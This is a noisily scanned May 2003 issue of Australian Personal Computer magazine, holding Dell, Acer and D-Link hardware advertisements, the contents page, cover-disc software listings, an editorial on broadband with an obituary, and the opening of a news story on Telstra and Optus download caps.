
passive $15,000 PC gear giveaway: see page 62 
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AUSTRALIAN 

PERSONAL 

COMPUTER 


YOUR TOTAL TECHNOLOGY GUIDE 


Seven step guide 
detailed 


“Barebones” mini PCs 
Affordable DVD^burners 


XP 3000+ vs P4 800MHz FSB 



No cover disc? 

Please enquire at your place of purchase 






























Every Dell™ system is built to order. This means you only pay for 

what you want, and nothing that you don't. For example, you can upgrade the memory, the size 
of your monitor and even add a DVD* or CD-RW. Best of all, you'll save, because when you buy 
directly from Dell, you cut out the middleman. So order today and see how easy it is to get 
exactly what you want at an exceptionally great price. 



Dimension'" 2350. f • VALUE CODE J220503 


Dell] Desktops 

Dimension 2350 


$100’Cash Off 

Offer valid17th-30th May 2003 


• Intel* Celeron” Processor 2.0GHz 

• 128MB Shared DDR SDRAM 

(Up to 32MB of system memory may be 
allocated to support integrated graphics) 

• 30GB' Hard Drive 

• 48X Max CD-ROM 

• 15 "CRT Monitor (13.8"'v.i.s.) 

• Microsoft" Windows* XP Home Edition 


Dimension 2350 


899 


™s'399' $1 

with $100* Cash Off NOW^ 

By delivery only, standard fee $99! Prices include GST. 
Business Lease - $9.20' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E»VALUE CODE J220501 - APC 


► Upgrade to 48X Max CD-RW for $100* 

► Upgrade to Microsoft' Windows' XP Professional for $139* 

► Upgrade to 256MB SDRAM for $99* 


$100* Cash Off 

Offer valid 17th-30th May 2003 


• Intel* Pentium* 4 Processor 2.4GHz 

• 256MB Shared DDR SDRAM 
(Up to 32MB of system memory may be 
allocated to support integrated graphics) 

• 30GB' Hard Drive 

• 48X Max CD-RW 

• 15" CRT Monitor (13.8" v.i.s.) 

» Microsoft" Windows* XP Home Edition 

with $100* Cash Off NOW 
By delivery only, standard fee $99! Prices include GST. 
Business Lease - $12.00' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E'VALUE CODE J220502 - APC 


Dimension 2350 (pictured above) 


$100’ Cash Off 

Offer valid 17th-30th May 2003 


• Intel* Pentium® 4 Processor 2.2GHz 

• 256MB Shared DDR SDRAM 

(Up to 32MB of system memory may 
be allocated to support integrated graphics) 

• 30GB' Hard Drive 

• 48X Max CD-ROM 

• 15" Flat Panel Monitor 

• Microsoft* Windows'* XP Home Edition 


i1,199 


.■MSS 


i1,399 


By delivery only, standard fee $99! Prices include GST. 
Business Lease - $13.85' per week. 

Conditions apply. Offer valid until 30th May 2003. 
REVALUE CODE J220503 -APC 


► Add Stereo Speakers for $44* 

► Upgrade to Microsoft' Windows® XP Professional 
for $139* 


► Upgrade to 16X Max DVD-ROM'’ for $100* 

► Upgrade to Microsoft Windows* XP Professional for $139* 

► Upgrade to Microsoft* Office XP Small Business for $369* 


$150’ Cash Off 

Offer valid 17th-30th May 2003 


• Intel' Pentium' 4 Processor 2.8GHz 

• 25BMB DDR SDRAM • 60GB' Hard Drive 

• 64MB nVidia* GeForce'"4 MX 420 Graphics Card 

• 48X Max CD-RW 

• 16X Max DVD-ROM'- 

• 17" CRT Monitor 116.0" v.i.s.) 

• 56K Modem • Stereo Speakers 

• Microsoft" Windows' XP Home Edition 


$200’Cash Off 

Offer valid 17th-30th May 2003 


• Intel' Pentium® 4 Processor 2.8GHz 

• 256MB DDR SDRAM • 60GB' Hard Drive 

• B4MB nVidia' GeForce'"4 MX 420 Graphics Card 

• SoundBlaster" Live!" 5.1 Sound Card 

• DVD' 4- RW Combo Drive 

• 17" CRT Monitor (16.0" v.i.s.) 

• 56K Modem • Stereo Speakers with Subwoofer 

• Microsoft' Windows' XP Home Edition 


Axim™ X5 


».s*2fWg 

with $150* Cash Off NOW I 


Business Lease - $18.80' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E^VALUE CODE J240519 - APC 


► Upgrade to 512MB DDR SDRAM for $199* 

► Upgrade to 15" Flat Panel Monitor for $352* 

► Upgrade to Microsoft' Windows* XP Professional for $139* 


2 049 w«'2,499 $2 299 

bfW ■ W with $200* Cash Off NOwCaf^WW 


WAS j 

with $200* Cash Off NOW I 
By delivery only, standard fee $99! Prices Include GST. 
Business Lease - $21.00' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E^VALUE CODE J240520 - APC 


The Axim" X5 allows you to connect and 
synchronise your files from your notebook i 
or desktop keeping you organised and j 
productive on the go. 

• Intel" X-Scale" Processor at 300MHz 

• Microsoft" Pocket PC 2002 Premium 

• Brilliant 3.5" Colour Transflective LCD (240x320 res) 

• 32MB SDRAM • USB Cable 

• 32MB Intel* StrataFlash® ROM 

• Integrated CompactFlash® Type II and Secure Digital / 
Multi Media Card Slots 

• Removable / Rechargeable Battery 


J499 


ONLY 

By delivery only, standard fee $64*. 
Prices include GST. 


► Upgrade to 120GB' Hard Drive for $199* 

► Upgrade to 3-Year Limited Next Business Day 
On-Site' Service (excludes software) for $169* 


► Add a Leather Carry Case for $62* 

► Upgrade to 64MB ScanDisk Secure Digital Memory 
Card for $82* 


Dell " recommends Microsoft® Windows® XP Professional for Business 


ndard fee $99 (inc.G$T| applies to all systerrrs purchased. A standard delivery fee for Axim X5 is $64 (Inc. G$T| per system applies to all orders unless otherwise stated. All efforts will be 
I. Dell, the Dell logo. Dimension, Inspiron, PowerEdge, PowerVault, TrueMobile, Axim and Evalue are registered trademarks or trademarks of the Dell Computer Corporation. Microsoft, Pocket PC 2002 
peedStep are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. Other trademarks and trade names may be used in this document to 
e rates are current at the time of publication and are inclusive of GST and Stamp Duty. Actual monthly payments depend on the exact system selected, term of financing and then applicable rates. First payment 
es. Accessible capacity varies depending on operating environment, 3. On-site service and/or next business day service not available in some remote locations. Contact Dell for details. Technicians 
i AOL Members as at 14 December 2002. Offer does not include telecommunications charges. Yotr must be 18 years or older. Access to AOL requires a credit card & is subject to credit approval. Only one membership 
1 VALUE Plan (VALUE Plan price currently $27.95 per month for up to 90 hours access to the AOL Service and $0.90 for every additional hour in the same billing month plus telecommunications charges] at which point 
or to the end of the free trial. Modem required for AOL access. 5. The DVD region code can be changed up to 5 times and will then be locked on the final region code selected. The region setting applies 
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Mobile Performers with Brains to Match. The powerful range of 

Dell Inspiron” notebooks are mobile performers with brains to match. Plus they're built to your 
needs so they feature exactly what you want at a price you can afford. So don't delay, click or call 
for our latest pricing and promotions. 


Inspiron 5100 Notebook 

from 3.5kg, 47mm thin. E»VALUE CODE J540505 


Deir| Notebooks 
Inspiron 1100 - From 3.3kg, 45mm thin 


NEW Inspiron 500m - From 2.4kg, 31 mm thin 



• 256MB Shared DDR SDRAM (Up to 64MB of system 
memory may be allocated to support system graphics) 

• 20GB' Hard Drive 

• 24X Max CD-RW 

• 14.1" XGA Display (1024x768 res) 

• 56K Modem 

« Microsoft* Windows*' XP Home Edition 

with $100* Cash Off NOWi 
By delivery only, standard fee $99f Prices include GST. 
Business Lease - $20.15’ per week. 

Conditions apply. Offer valid until 30th May 2003. 
E-VALUE CODE J540502 -APC 


► Add Stereo Speakers for $44* 

► Upgrade to 15" XGA Display (1024x768 res) for $99* 

► Upgrade to Microsoft' Windows® XP Professional for $139* 


• Intel* Pentium" M Processor 1.3GHz • Intel' 

855PM Chipset • Intel® PRO/Wireless 2100 
Network Connection 802.1 lb • 30GB' Hard Drive 

• 256MB Shared DDR SDRAM (up to 64MB of system 
memory may be allocated to support system graphics) 

• 24X Max CD-RW • 14.1" XGA Display (1024x768 res) 

• 56K Modem • Microsoft* Windows® XP Home Edition 


*2.199 


*2,299 


..%499 

With $200* Cash Off NOWI 
By delivery only, standard fee $99f Prices include GST. 
Business Lease - $21.00' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E-VALUE CODE J540506 - APC 


► Upgrade to 40GB' Hard Drive for $99* 

► Upgrade to 14.1" SXGA Display (1400x1050 res) for $99* 

► Upgrade to 24X Max CD-RW/DVD^ Combo Drive for $100* 


Inspiron 5100 - From 3.5kg, 47mm thin 


$200* Cash Off 

Offer valid 17th-30th May 2003 


- Intel* Pentium* 4 Processor 2.8GHz 

- 256MB DDR SDRAM 
-40GB'Hard Drive 

- 32MB DDR ATI Mobility Radeon " 7500 AGP 4X Graphics 

- 24X Max CD-RW/DVD^ Combo Drive 

- 15" XGA Display (1024x768 res) 

- 56K Modem 

- Microsoft' Windows® XP Home Edition 

with $200* Cash Dff NOWi 


Inspiron 8500 - From 3.3kg, 39mm thin 


$200* Cash Off 

0ffervalid17th-30th May 2003 


' Mobile Intel® Pentium® 4 Processor 2.2GHz - M 
supporting Enhanced Intel" SpeedStep’ technology 

• 256MB DDR SDRAM - 40GB' Hard Drive 

> 64MB DDR nVidia® GeForce”4 4200 Go AGP 

4X Graphics - 24X Max CD-RW/DVD"’ Combo Drive 

> 15.4 ' Wide-Aspect UltraSharp" WSXGA+ LCD 
Display (1680x1050 res) - 56K Modem 

• Microsoft® Windows' XP Home Edition 


2,699 


s*3,499 $■ 


3,299 


Business Lease - $24.50' per week. 

Conditions apply. Dffer valid until 30th May 2003. 
E-VALUE CODE J540505 -APC 


► Add Stereo Speakers for $44* 

► Add TrueMobile" 1150 PCMCIA Card for $120* 

► Upgrade to Microsofr® Windows* XP Professional for $139* 


WAS 

with $200* Cash Off NOWi 
By delivery only, standard fee $99f Prices include GST. 
Business Lease - $29.20' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E-VALUE CODE J540510 - APC 


► Add TrueMobile" 1180 WLAN Mini PCI Card for $99* 

► Upgrade to Microsoft® Office XP Small Business 
for$369* 


Dell I Servers 
PowerEdge" 600$C 

- Intel® Pentium® 4 Processor 2.4GHz 
-1024MB DDR SDRAM With ECC 
-2 X 40GB'IDE Hard Drive 

-Embedded Intel*Gigabit NIC 

- Integrated 3 ATA-100 IDE Controller 
-48X Max EIDE CD-ROM Drive 

- 3 Year Limited Warranty 

(With Limited 1 Year Next Business 
Day On-Site' Service excluding software) 

- LIFETIME TELEPHONE TECHNICAL SUPPORT 


*1,999 


Business Lease - $18.40' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E-VALUE CODE J420511 -APC 


► Upgrade to PowerVault TR40 Storage 

Simple single tape drive tape-backup solution for $539* 

► Add Microsoft® Windows* 2000 Server for $1,535* 


PowerEdge 2600 

- Intel® Xeon" Processor 1.8GHz 

- 256MB DDR200 ECC SDRAM 

- 36GB' 10K Ultra 320 SCSI Hard Drive 
-ATI Rage XL with SMB SDRAM 

- Embedded Intel’ Gigabit NICs 

- Integrated Dual Channel LSI Logic 53C1030 Ultra320 LVD 
SCSI controller 

- 24X Max EIDE CD-ROM Drive 

- 3 Year Limited Next Business Day On-Site' Service 
(excluding software) 

- LIFETIME TELEPHONE TECHNICAL SUPPORT 


*3,499 


Business Lease - $31.35' per week. 

Conditions apply. Offer valid until 30th May 2003. 
E-VALUE CODE J420517 - APC 


All featured Dimension'" and Inspiron systems come standard with: 1-Year Limited Next Business Day On-site' Service (excludes software and Axim), 
WordPerfect® Productivity Pack and 3 months' free* AOL membership for new members (Conditions apply* Modem required for AOL access.) Desktops come with Norton 
Anti-Virus 2003 - OEM Version. 



•DELL'S NORMAL TERMS AND CONDITIONS APPLY AND ARE AVAIUBLE AT www.delLcom.au OR ON REQUEST. All prices shown are inclusive of GST. Available by delivery only. Sir 

made to check for errors in typography and photography: however inadvertent errors nay occur for which Dell may not be responsible. Prices/offers cannot be combined with any other discount/promotic 
and Windows are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries. Intel, the Intel Inside logo, Pentium, Xeon, Centrino, X-Scale and Intel ( 
refer to either the entities claiming marks and names or their products. Dell disclaims proprietary interest in the marks and names of others. 1. Above rates are based on a 36 month financing term. Lea 
may be due before delivery. Rates are subject to change without prior notice. Other terms and conditions apply and are available at www.dell.com.au or on request. 2. For hard drives, GB means 1 billion by 
shall be dispatched if necessary following telephone technical support. Excludes third party products and software. 4. The AOL Trial Offer is valid until 30th May 2003. Offer is not available to persons who ai 
per household permitted on this Offer. The three free months are consecutive months only from the date of registration (maximum 92 days! At the end of the three free months p will automatically be migrated to AOL 
pr monthly membership fee will commence being charged to pr credit card. If you do not wish to continue pr membership, you must notify AOL by calling 1800 265 265 (between Sam and 8pm AESI weekdays] pi 
to commercial OVO movies only and in no way affects use of DVD media for software applications. 

Copyright 2003 Dell Computer Corporation. All rights reserved. 

Dell Computer Pty Ltd (ACN 003 855 561) Building 3,14 Aquatic Drive, Frenchs Forest NSW 2086. (No showroom on-site.) 

































Featuring the latest technology, the high performance Inspiron 8500 
comes with a 15.4" Wide-Aspect, UltraSharp” screen and a powerful 
Mobile Intel® Pentium® 4 Processor 2.4 GFIz - M supporting Enhanced 
Intel® SpeedStep® technology. 


CASH OFF 

Purchase any featured Dimension" or Inspiron system between 
17th and 30th May 2003 and get up to $200* Cash Off. 


Inspiron'” 8500 



• Mobile Intel® Pentium® 4 Processor 2.4GHz - M supporting Enhanced 
Intel® SpeedStep® technology • 512MB DDR SDRAM • 60GB’ Flard Drive 

• 64MB DDR nVidia® GeForce”4 4200 Go AGP 4X Graphics 

• 24X Max CD-RW/DVD^ Combo Drive ‘IB.A' Wide-Aspect UltraSharp” 

WSXGA+ LCD Display (1680x1050 res) • 56K Modem • Microsoft® Windows® XP Flome Edition 

with $200" Cash Off NOW Wf WWW 


By delivery only. Standard fee $99*. Prices include GST. 

Business Lease -$31.75 per week. Conditions apply. Offer valid until 30th May 2003. 
Please quote when ordering E»VALUE CODE J540512 - APC 



► Add a Leather Carry Case for $139* 

► Upgrade to Microsoft® Windows® XP Professional for $139* 

► Upgrade to Microsoft® Office XP Small Business for $369* 



Deir recommends Microsoft® Windows® XP Professional for Mobile Computing 
More computer for your money. Easy as oeu 


Visit www.dell.com.au or call 


1300 303107 


Visit our website or call Mon to Fri 8am-8pm, Sat 9am-3pm, Sun 10am-4pnn (EST) 


DELD5598/APC/FR0NT/05/21 














Dimension'" 2350 


High powered technology that won't break the bank. 

With features like an Intel® Pentium® 4 Processor, CD-RW and a huge 
17" flat panel monitor, it's a fully loaded desktop at a price that's hard 
to believe. And for a limited time, it comes with $100* cash off. 
So order today and see how easy it is to buy and own a Dell” computer. 


$100' Cash Off 


0ffervalidl7th-30th May 2003 


• Intel® Pentium® 4 Processor 2.2GHz • 256MB Shared DDR SDRAM (Up to 32MB of 
system memory may be allocated to support integrated graphics] • 30GB' Hard Drive 

• Integrated Graphics • 48X Max CD-RW • 17" Flat Panel Monitor 

• 56K Modem • Stereo Speakers • Microsoft® Windows® XP Home Edition 


».^],899r $1700 

with $100* Cash Off NOW If # W W 

By delivery only. Standard fee $99*. Prices include GST. 

Business Lease - $16.65 per week. Conditions apply. Offer valid until 30th May 2003. 
Please quote when ordering E»VALUE CODE J220504 - APC 


UPGRADE YOUR DELL' 


► Upgrade to Stereo Speakers with Subwoofer for $75* 

► Upgrade to 48X Max CD-RW/DVD* Combo Drive for $99* 

► Upgrade to Microsoft® Office XP Small Business for $369* 



Dell™ recommends Microsoft® Windows® XP Professional for Business 


More computer for your money. Easy as 


Visit www.dell.com.au or call 


M»U 

1300 303107 


Visit our website or call Mon to Fri 8am-8pm, Sat 9am-3pm, Sun 10am-4pm (EST) 


DELD5598/APC/RH/05/21 


























Do you have another tight deadline? The good news 
is that with the Acer TravelMate 800, featuring Intel*’ 
Centrino™ mobile technology, you have the freedom 
to work where you want, when you want for up to an 
incredible 8.5 hours." That's all day battery life for a hard 
days work - wherever your day takes you. Plus, with an 
Intel® PROA/Vireless Network Connection, wireless 
connectivity"" is easy anytime, anywhere. And, at just 



Bonus carry case & 

BZMB USB handydrive’ 

3 month unlimited broadband 
wireless access to SkyNetGlobal® 
in Australia' 


TravelMate SOOXCi 


• Intel® Centrino™ mobile technology • Intel® Pentium® M processor 
1.3GHz • Intel® 855PM Chipset • Intel® PRO/Wireless Network Connection 
802.11 b • 14.1" active colour screen • 256MB DDR SDRAM • 40GB hard disk 
drive • 8 x DVD + 24 x 10 x 8 x CD-RW • Rrewire • Integrated Smart Card 
security • Internal 56k modem + 10/100 LAN - Broadband internet ready 

• 4-in-1 multi memory card reader • Microsoft® j 
Windows® XP Professional • 2 Hour 
Commitment Warranty Express Sen/ice** 


$3,999 


ite e-Code TMC800 


2.5cm thick, the TravelMate 800 weighs a mere 2.4kg‘’ 
making it one of the lightest fully featured notebooks 
with Intel® Centrino™ mobile technology. 

What's more, Acer is the only company that offers you 
a 2 Hour Commitment Warranty Express Service in Australia 
and New Zealand.** 

Acer, Australia's fastest growing PC brand is also 
number three in desktop and notebook PCs." 


Bonus carry case & 

32MB USB handydrive’ 

3 month unlimited broadband 
wireless access to SkyNetGlobal® 
in Australia' 


• Intel® CentrinoT'*' mobile technology • Intel® Pentium® M processor 1.6GHz 

• Intel® 855PM Chipset • Intel® PRO/Wireless Network Connection 802.11b 

• 15" active colour screen • 512MB DDR SDRAM • 60GB 5400 RPM HDD • 8 x 
DVD 24 X 10 X 8 X CD-RW • Rrewire & S-video • USB 2.0 • Integrated Smart 
Card security • Internal 56k modem -i-10/100 LAN -Broadband internet ready 

• 4-in-1 multi memory card reader • Microsoft® 

Windows® XP Professional • 2 Hour Commitment 
Warranty Express Service** 




TravelMate 



• 3 month unlimited broadband 
wireless access to SkyNetGlobal® 
in Australia' 


TravelMate CIIOTCi Tablet PC 


• Intel® Centrino™ mobile technology • Intel® Pentium® M processor 
900MHz • Intel® 855GM Chipset • Intel® PRO/Wireless Network 
Connection 802.11 b • 10.4" active colour rotatable screen • 512MB DDR 
SDRAM • 40GB hard disk drive • External 8xDVD + 24x8x4x 
CD-RW combo • 2 Li-ion batteries • Internal 56K modem + 10/100 LAN - 
Broadband internet ready • Microsoft® t 
Windows® XP Tablet PC Edition • 2 Hour | 

Commitment Warranty Express Service** 


$4,499 



• Bonus carry case & 
32MB USB handydrive' 

• 15" LCD screen 


TravelMate 654LCi 


• Mobile Intel® Pentium® 4 Processor 2.2GHz - M • 15" active colour 
screen • 512MB DDR SDRAM • 40GB hard disk drive • 8 x DVD -t- 24 x 
10 X 8 X CD-RW • 4-in-1 multi memory card reader • Firewire & S-video 

• USB 2.0 • Internal 56K modem -i- broadband ready 10/100 LAN -i- 
802.11b Wi-Fi • Microsoft® Windows® XP Professional • 2 Hour 
Commitment Warranty Express Service** 


$4,999 


























Photographic quality for business or pleasure 

Borderless photo prints 

Up to 22ppm print performance 

Exif Print software for professional results 

4800 X 1200 dpi print quality 

Microscopic ink droplets eliminate graininess 

Money saving individual ink tanks 

canon.com.au 

1800 021 167 

i850 bubble jet printer 



Canon 

advanced simplicity 






WIRELESS & 


INTRODUCING INDUSTRY FIRST 802.11g WIRELESS RANGE 




22Mbps Wireless CardBus Adapter 




22Mbps Wireless PCI Adapter 

• Compatible with IEEE 802.1 lb (DSSS) 2.4GHz 
Standard 

• Up to 20% better transfer with 802.1 lb 

• 22Mbps with other AirPlus devices 

• 64/128/256 Bit WEP Security 

• Drivers for Windows 98, 2000, Me, NT & NT 

• Upgradeable anrenna 






2.4GHz Standard ' ^ 



22Mbps Wireless Concurrent Access Point & Bridge 


• 4 Port 10/100Mbps built-in switch 

• Access Point - AP Client - Bridge (Point-to-Point or 
Point-to-Multi Point) - Wireless Repeater 

• Compatible with IEEE 802.1 lb standard 

• DHCP Server/Client 

• Web-based Configuration & Management 

• Replaceable i^tenna with reverse SMA connector for 



22Mbps Wireless Access Point 























BROADBAND 






IP Router for DSL/Cable Modems with 
4-Port Switch & Single Port Print Server 




• Supports NAT, DHCP. PPP, VPN, PAP/CHAP 


• DMZ selectable Port 

• Advanced Firewall Fearures 

• Configuration & Management via Web Browser 





Easy Expansion 

Signal Parallel Pott Print Server 

Support NAT for single IP address & Firewall 




Supports DHCP, VPN, PPP, PAP/CHAP Security 
Built-in Telstra BigPond client 



IP Router for DSL/Cable Modems with 
7-Port Switch & Single Port Print Server 




Network Secure Firewall with Point-to-Point VPN 



Visit website: www.dlink.com.au 
il us at: sales@dlink.com.au 
Call us on: 1300 766 868 


LEADERS IN WIRELESS AND BROADBAND COMMUNICATIONS 

























Ditch that dusty old dialup connection and get into the fast lane! 
APC details a massive 264 broadband plans from 98 ISPs, and 




Seven of the latest task-tackling multifunction devices from 
Canon, Epson, Lexmark, Brother and Hewlett-Packard. 


The IT Minister championed the fight against unwanted email, but he 
succeeded only in undermining his Government's credibility. Legislation 
may be the politically palatable solution, but industry wants results. 


APC l-c3b tG»£»1-£> 


We test 14 compact barebones systems (page 64); 

six internal DVD burners (page 72); five DVD authoring suites 

(page 76) and seven multifunction devices (see below). 


Mulfirunctlon 

device* £» 


Choking on &pc9m 




































How to go the last mile after installing Linux. 




How to set up, and lock down, a wireless access | 


Learn the three golden rules of Apache security. 


Build stunning 3D scenes using' 


The art of Registry hacking your Pocket PC. 


Quickly build a database-driven Web site using 


How to boost your site's prominence on Google. 


■ Telstra and Optus blame the high cost of international 
bandwidth for broadband download caps. APC reveals 
the truth, and shows where your dollars really go. 

■ ^ AMD finally releases Opteron, the long-awaited 
x86-compatible 64-bit CPU. 

■ Plus:The real reason why IT jobs are being outsourced to 
India; Microsoft's PR machine zooms into overdrive while 
Linux fights the slacker myth; and APC readers have their 
say about Debian, Telstra, Dell and product activation. 


A mini PC doesn't have to mean mini performance. 
Paul Robinson and Matt Overington test 14 of the latest 
barebones computers for both AMD and Intel CPUs. 


Six internal DVD burners from Plextor, HP, 
Panasonic and Pioneer. 


BS 
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XP =3000+ VS PM BOOMH^ FSB 


Red Hear Unux R 

lvlandrc9ke L.lnux <3.1 

Belkin and £>MS SaMKeit/s wireless 

Paint Sstiop Pro B 

Apple PowerBook CUM ITin 

AdoPe Acrrobat fe 

Dell Latitude DSOO 

Corel WordPerfect II 

Palm TUnosten C 

CiateUock xaoo 

Brother Hl.-'70&0N 


Unearthing the hidden power tools of Windows 9x. 

i^Si33SI^ES3ISSiSii 

Beefing up your PC-based home entertainment system 


Bc3re>bone»& PCs 


i-j V L-i : t-iui I III lu 


OVD authoring 




sub:^^ib^ 


Due to popular demami these fantastic screwdrnere are back! 


Hilrry while gt>ck g,lg gtl| see rage se for details 


ARCS privacy statement appears on page 152 











































Web Link Validator 2.1 
full version 


Rid your Web site of broken links 
and stop visitors from getting those 
frustrating "page cannot be found" 
error messages. Web Link Validator 
keeps your site clean and your links 
fresh by automatically checking 
the entire site for 
broken links. 


Valii^V 


mm 


Create incredible 3D 
art and animations 
for games or the Web 
with this high-end 
3D graphics tool. 
Designers will love the 
realistic textures and 
real-world physics. 


Borland Kylix 3: full version 


Ideal for those new to Linux 
programming, Kylix 3 lets you develop 
Windows and Linux applications in 
Borland's C/C-i-i- and Delphi-based 
programming environment. To help 
get you started, check out this month's 
Kylix Workshop (page 108). 


ASP.NET Web Matrix Proje^ 


Get Microsoft's new WYSIWYG 
application development tool for 
ASP.NET that includes a drag-and-drop 
page designer. Also included: the .NET 
Framework; the Microsoft Data Engine; 
and the .NET Framework Software 
Development and Starter Kits. 



Administrators, developers and power 
users: don't install Windows Server 
2003 without this free set of tools from 


Microsoft. There's over 125 utilities 
for working with the Registry, tuning 
security and scalability, plus more. 




F-ULL. VERSIONS 

ASP WEB DATABASE INTERFACE BUILDER 4.11 full working version 

• special offer • ASP Web Database Interface Builder 5.01c trial version 
O&K PRINT WATCH 2.35 SE full working version • O&K Print Watch 
2.36 trial version 

XTREEME SITEXPERT 4.1 full working version • special offer • Xtreeme 
SiteXpert6.1 trial version 

TRUESPACE3.2 full working version • trueSpace6.5 trial version 
•upgrade offer 

WEB LINK VALIDATOR 2.1 full working version • special offer 

• Web Link Validator 3.2 trial version 

F-fc ATURfcS 

BROADBAND POWER TOOLS BBUsage 2.9 • BPALogin 2.0.1 ■ BPALogin 
for Linux (Debian) 2.0.4 • BPALogin for Linux (Red Hat) 2.0 • BPALogin 
for Linux 2.0" BPALogin Mac 1.0* BPAUsage 1.7.0 • Download 
Accelerator Plus S.3 • DUMeter 3.03 • FlashGet 1.40 • GetRight 5.0 

• iGetter PPC 1.9" iGetterX 1.9* iiUsage 0.1.11 • Internode Monthly 
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ASP Web Database 
Interface Builder 4.11 
full version 


Update your Web database 
the easy way with ASP Web 
Database Interface Builder 4.11. 
The intuitive interface it builds 
simplifies the task of adding, 
searching and 
editing records. 


O&K Print Watch 2.35 
SE:full version 


Install this simple-to-use print 
management solution and 
you'll never look back. It allows 
centralised monitoring and 
auditing of ail print activity, 
produces HTML reports and 
has a precision 
page counter. 


Xtreeme SiteXpert 4.1 
full version 


Generate a site map for your 
Web page using one of seven 
different templates. These are 
fully customisable and can 
be adapted to suit your site. 
SiteXpert 4.1 is a great tool if you 
manage multiple 
Web sites. 





Broadband power tools 


Make the most of your broadband 
connection with our expert software 
selection. Test and then boost your line 
speed, enjoy faster downloads, keep an 
eye on your account usage, get a stable 


DVD authoring software 


Go for a spin with these trial versions 
of Sonic Foundry's Vegas+DVD 
and Ulead's DVD Workshop, and 
you'll discover how easy it is to create 
professional-quality DVDs — complete 


K]©©(i] Cq©0.i?‘& 

> While we've taken all care in selecting 
the software and testing the discs, APC 
cannot accept responsibility or liability. 

> APC does not provide support for 
programs included on the discs. 

> For technical problems 


login every session, and secure your PC with great menu screens — from your 


Email: cd@apcmag.com 


from online hackers. 


own video footage. 


Web: www.apcmag.com/cd 
Phone: (02)9288 9111 
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Microsoft Internet Explorer 5.1.6 for Mac OS • Microsoft Internet 
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I f you're still connecting to the Internet using a dialup 
modem, now is the time for broadband. Why? Well, 
most of the traditional excuses are tumbling. Not sure 
if your suburb gets broadband? ADSL services are now 
available to an estimated 75% of Australian homes. 

Worried about the cost? Broadband is more 
affordable than ever before. This month's broadband 
feature inciudes an exhaustive list of 264 plans offered by 
98 ISPs, where you'll find some excellent deals starting at 
$45 per month with a 2GB download limit, a ripper 12GB 
plan for $79 per month, plus for $99 scores of "unlimited 
download" schemes. 

Concerned over choosing the right ISP and finding the 
best deal? Get savvy with this month's cover story, and 
visit Web sites like Whirlpool (http://whirlpool.net.au) 
to hear what users are saying about their ISP (the good, 
and the bad) before you make your move. 

T here have been only eight editors oiAPC in the 
magazine's 23 years, but our alumnae was sadly 
diminished last month when Helen Dancer passed away. 

At the helm of APCfrom 1998-1999 —and the 
magazine's features editor for several years before that — 
Helen oversaw some of the brightest days of the IT boom. 
Her post-APC accomplishments include technology 
editor at The Bulletin and The Australian Woman's Weekly, 
a diversity that speaks volumes for the breadth of Helen's 
ability and the scope of her talent. 

In the league of Australian IT journalists, vendors and 
PR companies, Helen's name was always spoken with a 
smile. She was blessed with an indomitable spirit, a 
razor-sharp mind and a gentle smile which, in a flash, 
could become a puckish grin and a raucous laugh. Helen 
was an inspiration in the most deeply spiritual way. And it's 
sadly ironic that she died of heart failure because everyone 
knew her heart was the very strongest part of her. 
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^Ik^Urchin 

WEB ANALYTICS SOFTWARE 

Available for $99 or 
FREE with Soho or higher 
packages. 



Australia's best value & service 


llisys Dedicated Servers 

• Cisco network hardware 

• Dell and Sun servers 

• Bandwidth redundancy 

• Managed power 

• Secure data-centre 

• Environnnentally controlled rack space 

If your enterprise is on the web for the long haul, an llisys Dedicated 
Server is the ultimate hosting solution - letting you take advantage 
of our fast networks, high national and international bandwidth and 
world-class technical support. With our team managing your hardware 
and connectivity you can focus on your core business. 


Visit our website for 
more details on Urchin 


An llisys dedicated solution will help you enhance your productivity 
as well reduce your monthly overhead. 


iShop V.2 web shopping solution 
iShop is the llisys shopping cart 
solution, free with all Soho, 
Standard, Heart and Enterprise 
packages. 

• secure transactions 

• customisable user interface 

• flexible product categories 

• advanced maintenance features 

Cost Price Domains 
Global domains ( com .net .org) 

$34 / 2 years 

Australian domains (.com.au .net.au) 

$85 / 2 years 


Cobalt RaQs- 

model processor RAM hard drive quarterly annual 

RaQ550 IgHz 256MB 40GB $1,649 $5,490 

RaQ550 IgHz 512MB 2x80GB $2,249 $7,490 

Dell PowerEdge 1650 with Redhat Linux 

model RAM hard drive quarterly annual 

Piii1.13gHz 256MB 18GB $2,500 $8,600 

Dual Pm 1.13 gHz 512MB 2x18GB $3,300 $11,300 

Dell PowerEdge 1650 with Windows 2000 

model RAM hard drive quarterly annual 

Pm 1.13 gHz 256MB 18GB $3,000 $10,200 

Dual Pm 1.13 gHz 512MB 2x18GB $4,000 $13,600 


Visit our website for more information 

www.ilisys.com.au 


Freephone: 1800 999 618 
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need to know 


News, views and analysis from the IT world 

The download cap is a fit-up 

The high cost of international bandwidth is to blame for download caps. 


we're told. Dan Warne reveals the truth. 

The price of carrier-grade international 
bandwidth has tumbled from $6,000 Mbit/s 
at the time ADSL was introduced to less than 
$1,500 Mbit/s, a quarter of the previous figure, 
according to industry sources. Yet in that time, 
there has been no improvement in Telstra's 
broadband plans, while Optus has substantially 
reduced its service. 

When the infamous "3GB cap" was first 
imposed on Telstra's broadband customers in 
2001, the telco's retail chief, Ted Pretty, claimed 
that international data costs accounted for half 
the cost of the broadband service. 

Optus — which introduced unlimited 
broadband to the marketplace — ran 
opportunistic advertising after Telstra capped its 
broadband limit, claiming that: "at Optus@>Home 
we don't believe that a hard limit on downloads 
... which doesn't necessarily reflect broadband 
customer usage, represents good value for our 
cable customers." Yet just one year later Optus 
Joined Telstra in capping its plans. 

What happened? Certainly the cost of 
international data didn't suddenlyjump in 
that time. "I can't find a rational or market 
explanation for why it [download capping] 
is necessary," said the Shadow Minister for iT, 
Senator Kate Lundy. 

"I wonder if the large carriers simply did 
it because they could, and the smaller ISPs 
followed because they were on such a tight 
margin due to high wholesale rates for 
ADSL connections." 

Although the availability of unlimited 
Internet services is improving with Comindico's 
entry to the wholesale DSL market, major 
carriers are heading aggressively towards a 
packaged local content model — a move which 
industry observers say is dangerous. 

A late entrant to this new breed of 
content-centric ISPs is AOL|7, which tempts 
potential customers with content syndicated 
